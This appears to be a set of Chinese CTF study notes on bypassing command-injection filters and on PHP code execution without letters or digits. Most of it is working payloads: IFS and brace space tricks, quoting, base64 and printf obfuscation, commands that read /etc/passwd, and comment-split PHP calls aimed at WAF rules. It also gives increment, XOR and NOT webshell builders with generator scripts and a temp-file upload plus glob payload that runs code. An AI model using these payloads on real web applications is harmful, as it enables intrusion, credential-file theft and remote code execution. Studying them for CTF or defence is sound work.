命令空格绕过
bash下
1 2 3 4 5 6 7 8 9 10 11 12 13
| ${IFS}$9 {IFS} $IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 IFS < <> {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来 %20 (space) %09 (tab) /r X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20) /**/
|
命令连接
1 2 3 4 5 6 7 8 9
| win and linux ; 前面的执行完执行后面的 | 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果) || 当前面的执行出错时(为假)执行后面的 & 将任务置于后台执行 && 前面的语句为假则直接出错,后面的也不执行,前面只能为真 %0a (换行) %0d (回车)
|
关于|:
而ping 127.0.0.1 | ls /
成功执行的原因是但是,ls /
并不需要任何输入,它会立即执行并完成。
特定字符绕过
1 2 3 4 5 6 7 8 9
| ca\t /fl\ag a=c;b=a;c=t;$a$b$c /etc/passwd echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | sh echo "636174202f666c6167" | xxd -r -p | bash $(printf '\154\163') `printf '\154\163'` $(printf '\x6c\x73')
|
1 2 3 4 5
| (sy.(st).em)(whoami);一般用于非shell环境,如上
c''a''t /etc/passwd //两个单引号 c``a``t /etc/passwd // 两个反斜杠 c""a""t /etc/passwd // 两个双引号
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| 注意只能在shell环境下执行。system不行,如上图。 $*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下: wh$1oami who$@ami whoa$*mi
666`whoami`666 //bash: 666root666: command not found
666`\whoami`666 //bash: 666root666: command not found
//命令执行后的结果在2个666中间
插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)
system/*A10ng_*/(whoami);
system/*A10ng_*/(wh./*A10ng_*/(oa)/*caixukun*/.mi);
(sy./*A10ng_*/(st)/*A10ng_*/.em)/*A10ng_*/(wh./*A10ng_*/(oa)/*A10ng_*/.mi); //注意不要写在正里面,cmd=(sy.(s).tem)(wh.(o).a/*void2eye*/mi);,要写成cmd=(sy.(s).tem)(wh.(o)/*void2eye*/.ami);
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| 利用未初始化变量,使用$u绕过 cat /etc$u/passwd ---------------------------------------------- 过滤了斜杠‘/’ 可利用';'拼接命令绕过
cd ..;cd ..;cd ..;cd ..;cd etc;cat passwd --------------------------------------------- 利用通配符绕过:(能用的很少) 列如cat /passwd:
??? /e??/?a???? cat /e*/pa*
------------------------------------------------- glob通配符: 在glob里
“ [A-Fa-f0-9] ”相当于 " [ABCDEFabcdef0123456789] ".)
“ [-%] ”代表“ [!”#$%] ”而“ [a-z] ”代表“任何 小写字母”
利用[@-[]来表示大写字母:
[...]表示匹配方括号之中的任意一个字符
{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
{...}与[...]有一个重要的区别,当匹配的文件不存在,[...]会失去模式的功能,变成一个单纯的字符串,而{...}依然可以展开
cat t[a-z]st
cat t{a,b,c,d,e,f}st
// 注意这个是用来匹配文件名的,比如ls log[0-9] // cat file{1,2,3}.txt
---------------------------------------------------------------------- 利用PATH绕过 可以通过截断和拼接来得到我们想要的来getshell
${PATH:5:1} //l
${PATH:2:1} //s
${PATH:5:1}${PATH:2:1} //拼接后是ls,执行命令
${PATH:5:1}s //拼接后是ls,执行命令
|
无数字字母rce
自增绕过:
‘a’++ => ‘b’,’b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
那么,如何拿到一个值为字符串’a’的变量呢?
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php $_=[].[]; $__=''; $_=$_['']; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $__.=$_; $_=++$_; $_=++$_; $__=$_.$__; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $__.=$_; ${'_'.$__}[_](${'_'.$__}[__]);
url编码后: %24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php $_=[]; $_=@"$_"; $_=$_['!'=='@']; $___=$_; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $___.=$__; $__=$_; $__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $_=$$____; $___($_[_]);
url编码后: %24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d%27_%27%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b
|
第二个payload需要PHP小于7的版本,因为在PHP7,assert不再可以被动态调用
异或:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php $myfile = fopen("text.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) {
if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg ='/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)^urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } }
} } fwrite($myfile,$contents); fclose($myfile); ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| def action(arg): s1 = "" s2 = "" for i in arg: f = open("text.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"^\"" + s2 + "\")" return (output)
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) print(param)
|
用法
据说可以用或来: |
取反
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');'; ?>
|
缓存文件
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
参考p神的文章
从表格中可以看到,PHP 7引入了一种新的解析顺序,这种顺序与PHP 5不同,导致某些表达式在PHP 7下的执行结果与PHP 5不同。
举例说明:
- 表达式
$$foo['bar']['baz']
:在PHP 5中,这个表达式被解析为 $foo['bar']['baz']
后再进行双重变量解析。而在PHP 7中,解析顺序改变,($$foo)
首先被计算,然后再应用数组索引。
意思是:php7前没办法($a)(); 因为php5是先解析();里面,为空。
相当于可以:('phpinfo')();
看一下题目:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php if(isset($_GET['cmd'])) { $cmd = $_GET['cmd']; if (strlen($cmd)>35) { die('toooooolong!'); } if (preg_match("/[A-Za-z0-9_$]+/",$cmd)){ die('nonono!'); } eval($cmd); }else{ highlight_file(__FILE__); }
|
基本上该过滤的都过滤完了
php7
取反,然后用之前那个表达式()();
php5
1
| docker run --rm -p 9090:80 -v `pwd`:/var/www/html php:5.6-apache
|
首先从想到可以用反引号执行命令
注意两个知识点:
- shell下可以利用
.
来执行任意脚本
- Linux文件名支持用glob通配符代替
注意这里,.
是所有UNIX系的shell都可以,但是source
属于bash
然后基本/tmp下的文件都可执行
而发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机
的大小写字母
。
*
可以代替0个及以上任意字符
?
可以代表1个任意字符
所以:/tmp/phpXXXXXX => /*/????????? 或 /???/?????????
注意:
glob支持用[^x]
的方法来构造“这个位置不是字符x”。
就跟正则表达式类似,glob支持利用[0-9]
来表示一个范围。
我们可以利用[@-[]
来表示大写字母:
因为只有php临时文件可能有大写
注意写数据包时不要写错!
1 2 3 4 5 6 7 8
| Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0Ra0WsQ0aDxSuWXg Content-Length: 156
------WebKitFormBoundary0Ra0WsQ0aDxSuWXg Content-Disposition: form-data; name="file"; filename="1.txt"
1 ------WebKitFormBoundary0Ra0WsQ0aDxSuWXg--
|
payload:
1
| ?cmd=?><?=`.%20/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[@-[]`%3b?>
|
tip有可能改目录,查看目录函数:
1 2
| echo sys_get_temp_dir();
|
无参数RCE
他的正则表达式为
/[^\W]+\((?R)?\)/
,在这里表示递归匹配。
函数
getenv
获取环境变量
var_dump
打印结果,调试。
scandir readfile
读取文件
next
把数组指针往下移动一位。
get_defined_vars
获取定义的所有变量
cmd=var_dump(next(get_defined_vars()));&a=1
session_start
启动一个session
获取所有的请求头
getcwd
获取所在目录
只适用于apache获取请求头。